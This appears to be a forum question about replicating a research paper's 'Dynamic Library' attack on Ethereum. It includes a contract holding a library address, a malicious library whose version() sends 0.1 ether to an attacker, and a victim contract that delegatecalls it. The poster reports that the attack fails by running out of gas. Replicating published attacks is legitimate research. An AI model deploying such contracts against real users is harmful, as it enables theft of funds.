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I'm trying to replicate the Dynamic Library attack of this paper under a recent version of solidity and the EVM.

Streamlining down the code, I've created this very simple contract (which is, in essence, an address container for a library:

contract DynamicContract {
    address dynLib;

    function updateLib(address _lib) public {
        dynLib = _lib;
    }

    function getLibAddress() public view returns(address) {
        return dynLib;
    }
}

Now, the attacker deploys DynamicContract and update the library address with an instante of the following MaliciousLibrary:

library MaliciousLibrary {
    function version() public returns(uint256) {
        address attacker = address(0x72...);

        attacker.transfer(0.1 ether);

        return 1;
    }
}

Now, the victim deploys the 'Bob' contract, equipping it with some ether:

contract Bob {
    event Result(bool res);

    function queryVersion(address dynCAddr) public payable returns(bool) {
        DynamicContract dC = DynamicContract(dynCAddr);

        bool res = dC.getLibAddress()
                     .delegatecall
                     .gas(30000000)(bytes4(keccak256("version()")));

        return res;
    }
}

Now, if the victims calls queryVersion(), the malicious version() method should transfer 0.1 to the attacker. However, this doesn't happen and the transaction runs out of gas.

Any ideas?

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